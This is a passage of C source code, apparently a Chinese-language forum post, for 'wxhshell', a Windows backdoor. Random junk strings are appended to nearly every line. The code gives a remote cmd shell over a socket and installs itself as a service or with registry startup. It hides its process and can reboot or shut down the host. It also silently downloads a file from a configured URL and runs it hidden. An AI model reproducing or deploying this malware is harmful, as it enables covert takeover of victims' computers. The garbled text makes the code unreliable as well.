    switch(cmd[0]) { ^<ayPV)+  
  kOJs;k  
  // 帮助 [UFLL:_sC  
  case '?': { fMhMB |W.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @hg1&pfxZ<  
    break; Elm/T]6  
  } n,n]V$HFGh  
  // 安装 7GE.>h5  
  case 'i': { a^~l[HSF  
    if(Install()) MW`q*J`Yo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M~P}80I  
    else V#5BZU-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Kt.%K5lgt  
    break; iB[%5i-  
    } E!jM&\Zj  
  // 卸载 ?][Mv`ST  
  case 'r': { =>/aM7]  
    if(Uninstall()) v#=-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [4sbOl5yZ  
    else R.+Q K6B&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lvk(q\-f  
    break;  +loD{  
    } WG(tt.  
  // 显示 wxhshell 所在路径 U%j=)VD ])  
  case 'p': { O"_FfwO a  
    char svExeFile[MAX_PATH]; *H:;pI WP  
    strcpy(svExeFile,"\n\r"); 4l>/6LNMF  
      strcat(svExeFile,ExeFile); PNc^)|4^Q  
        send(wsh,svExeFile,strlen(svExeFile),0); m {wMzsQ  
    break; obS|wTG~  
    } iK'bV<V&7  
  // 重启 h6la+l?x  
  case 'b': {  cfpP?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^;Ap-2Ww  
    if(Boot(REBOOT)) YVqhX]/   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }B}?qV  
    else { Hg]Q.SeJ(  
    closesocket(wsh); nv@$'uQRp  
    ExitThread(0); >8oRO  
    } 9LzQp`In  
    break; lhJT&  
    } =Tb~CT=  
  // 关机 vU&gFEWg  
  case 'd': {  `q%Z/!}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M}3>5*!=  
    if(Boot(SHUTDOWN)) H?UmHww E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vsHY;[  
    else { o#H"tYP  
    closesocket(wsh); EZE/~$`3   
    ExitThread(0); V+cHL  
    } DX4uTD  
    break; zeNvg/LI^  
    } YD7i6A  
  // 获取shell v-_K'm  
  case 's': { `R=8=6Z+$q  
    CmdShell(wsh); <~vamim#K  
    closesocket(wsh); F;5.nKo  
    ExitThread(0); } 3 RqaIY}  
    break; }(O 7tC  
  } @T>)fKCg  
  // 退出 Y)g<> }F  
  case 'x': { kbBX\*{yh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "JKrbgN@;L  
    CloseIt(wsh); vw>O;u.]B  
    break; 4 Z1- RS  
    } j+w*Absh  
  // 离开 uXNJ{]o  
  case 'q': { 0;} 9XZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aKkQXq*  
    closesocket(wsh); nW!rM($q  
    WSACleanup(); fA2H8"r  
    exit(1); 3RZP 12x  
    break;  s>76?Q:i  
        } Qte=<Z)  
  } \y"!`.E7\d  
  } TOeJnk  
c+ Ejah+  
  // 提示信息 -Q<3Q_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]?/[& PP,  
} G! L=W#{  
  }  #/MUiV  
8s6[?=nM  
  return; o_vK4%y(  
} "Z#97Jc+J  
w91{''sK  
// shell模块句柄 `BdZqXKG  
int CmdShell(SOCKET sock) mc~d4<$`!  
{ 218ZUg -a  
STARTUPINFO si; AhiZ0W"  
ZeroMemory(&si,sizeof(si)); M)!8 `]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C>4y<,Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /}]X3ng  
PROCESS_INFORMATION ProcessInfo; Qj VP]C}p  
char cmdline[]="cmd"; YFy5>*W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S%R:GZEf_  
  return 0; :S{[^ -"  
} yE. ZvvQA  
A d=NJhzl  
// 自身启动模式 9<W0'6%{/  
int StartFromService(void) Z; r}G m  
{ GCkc[]2p  
typedef struct qXn %c"  
{ M%/ML=eLi  
  DWORD ExitStatus; /<\>j+SC  
  DWORD PebBaseAddress; w*eO9k  
  DWORD AffinityMask; 66,?f<b  
  DWORD BasePriority; s>9w+|6Ji  
  ULONG UniqueProcessId; #(?EL@5  
  ULONG InheritedFromUniqueProcessId; 8Tyf#`'I  
}   PROCESS_BASIC_INFORMATION; K!lGo3n]  
A=Q"IdK  
PROCNTQSIP NtQueryInformationProcess; /9/=]  
3&/5!zOg)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (B.J8`h }  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vA10'Gx'  
b6 &`]O;%  
  HANDLE             hProcess; aF;Q SI  
  PROCESS_BASIC_INFORMATION pbi; -^Baxkq(YM  
\=?f4*4|/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Klzsr,  
  if(NULL == hInst ) return 0; @f-0OX$*  
u0^GB9q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D[x0sly  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l Ztq_* Fl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _Y40a+hk]  
Y4YA1F  
  if (!NtQueryInformationProcess) return 0; 8B"jvrs  
g|a2z_R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <*<7p{x  
  if(!hProcess) return 0; WFocA:  
<VS\z(K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U{"&Jj  
\(R(S!xr_  
  CloseHandle(hProcess); DI'wZySS^  
NmthvKhH   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N J9H=  
if(hProcess==NULL) return 0; a*0gd-e0@  
m jC6(?V  
HMODULE hMod; L NmsvU  
char procName[255]; {n2mh%I  
unsigned long cbNeeded; !G.)%+Z  
Y.Na9&-(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n{J<7I e"*  
o}mD1q0yE  
  CloseHandle(hProcess); #G:~6^A  
iqig~fjK ~  
if(strstr(procName,"services")) return 1; // 以服务启动 U{ gJn#e/.  
V lN&Lz  
  return 0; // 注册表启动 -8X* (7  
} \/*r45!  
q %i2' yE  
// 主模块 `PnB<rf:*1  
int StartWxhshell(LPSTR lpCmdLine) ~Aq;g$IJZ  
{ /[`bPKr  
  SOCKET wsl; i|0H {q  
BOOL val=TRUE; 2u4aCfIx  
  int port=0; *`YR-+0  
  struct sockaddr_in door; Y-hGHnh]'  
a02@CsH  
  if(wscfg.ws_autoins) Install(); <?5 ,3`V  
bm*Ell\a.  
port=atoi(lpCmdLine); C s?kZ %  
i=#<0!m  
if(port<=0) port=wscfg.ws_port; 'Pk ( 1:  
.-T^ S"`d|  
  WSADATA data; LSv0zAIe/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j y R 9a!  
I:Wrwd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MQ9 9fD$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $rD&rsx6  
  door.sin_family = AF_INET; 7 [N1Vr(1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OWT5Bjl  
  door.sin_port = htons(port); 'z0@|a  
:jKD M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X!V@jo9?  
closesocket(wsl); SxcNr5F   
return 1; n,SDJsS^  
} JL45!+  
 T},Nqt<  
  if(listen(wsl,2) == INVALID_SOCKET) { %|bqL3)a_  
closesocket(wsl); |f;u5r!^=  
return 1; Xs$k6C3  
} \2~Cn c*O  
  Wxhshell(wsl); v@TP_Ka  
  WSACleanup(); y[BUWas(  
jk,: IG  
return 0; Eqj&SA  
@JVax-N  
} ZNNgi@6>  
N '2Nv  
// 以NT服务方式启动 pwU l&hwte  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fx2r\ usX[  
{ : &>PN,q>  
DWORD   status = 0; zBV7b| j  
  DWORD   specificError = 0xfffffff; _"%mLH=!8  
TC;2K,.#k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,rx?Ig}k z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gTcLS|& H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #?-2f{  
  serviceStatus.dwWin32ExitCode     = 0; . S4Xw2MS  
  serviceStatus.dwServiceSpecificExitCode = 0; ohklLZoZ  
  serviceStatus.dwCheckPoint       = 0; gBGUGjVj  
  serviceStatus.dwWaitHint       = 0; ^cB83%<Z  
:t+XW`eQR:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MgyV {`  
  if (hServiceStatusHandle==0) return; *J,VvO 9  
T!u&r  
status = GetLastError(); EUevR/S  
  if (status!=NO_ERROR) 9;KQ3.Fa}q  
{ wGD*25M7$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Li)rs<IX;m  
    serviceStatus.dwCheckPoint       = 0; H`|8x4  
    serviceStatus.dwWaitHint       = 0; kBg,U8|S  
    serviceStatus.dwWin32ExitCode     = status; pLi_)(#z_  
    serviceStatus.dwServiceSpecificExitCode = specificError; #e:cB'f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b:VCr^vp  
    return; IIcG+zwx  
  } Gv?3T Am8  
;5QdT{$H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ry9kGdqO  
  serviceStatus.dwCheckPoint       = 0; CmKbpN*  
  serviceStatus.dwWaitHint       = 0; g.$a]pZz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6wK>SW)#&j  
} g93-2k,  
;G_{$)P.o  
// 处理NT服务事件,比如:启动、停止 CR3<9=Lv>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YQGVQ[P  
{ r&6X|2@  
switch(fdwControl) C.`C T7  
{ FJxg9!%d  
case SERVICE_CONTROL_STOP: [xW;5j<87  
  serviceStatus.dwWin32ExitCode = 0; &-M>@BMy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bc{j0Su  
  serviceStatus.dwCheckPoint   = 0; sI>I  
  serviceStatus.dwWaitHint     = 0; &f48MtE  
  { [H ^ ktF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Ilve U`E  
  } H8@1Kt  
  return; x-J.*X/aB  
case SERVICE_CONTROL_PAUSE: !0i6:2nw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t&m 8 V$Q  
  break; 3[`/rg,  
case SERVICE_CONTROL_CONTINUE: Yl}'hRp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +ZOjbI)  
  break; 5eS0 B{,c  
case SERVICE_CONTROL_INTERROGATE: CWF(OMA  
  break; UqHk2h-  
}; x~3N})T5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;\1/4;m  
} hc#Lni R3$  
o3C7JG  
// 标准应用程序主函数 %%d3M->C}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I_ O8 9Sgn  
{ ^\o3V<  
{"f4oK{w  
// 获取操作系统版本 qaE>])  
OsIsNt=GetOsVer(); jUnS&1]MF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FO[x c;  
iN\m:m  
  // 从命令行安装 Jc8^m0_  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^!a4!DGVT  
2;&K*>g&.  
  // 下载执行文件 B<^yT@Wc  
if(wscfg.ws_downexe) { ITpo:"X g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )T2V< 3l  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y 1v9sMN,  
} jd>ug=~x  
oW[];r  
if(!OsIsNt) { ">zK1t5=  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tnd)4}2 p  
HideProc(); NA@<v{z  
StartWxhshell(lpCmdLine); QlxzWd3=q  
} )67pBj  
else sn>2dRW{  
  if(StartFromService()) R9 +0ZoS  
  // 以服务方式启动 K+WbxovXU  
  StartServiceCtrlDispatcher(DispatchTable); K14FY2"  
else u?Pec:3%  
  // 普通方式启动 [2~^~K  
  StartWxhshell(lpCmdLine); S1d^mu  
7\;4 d4u  
return 0; #Jx6DQGa  
}
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只看该作者 1 发表于: 2006-10-10
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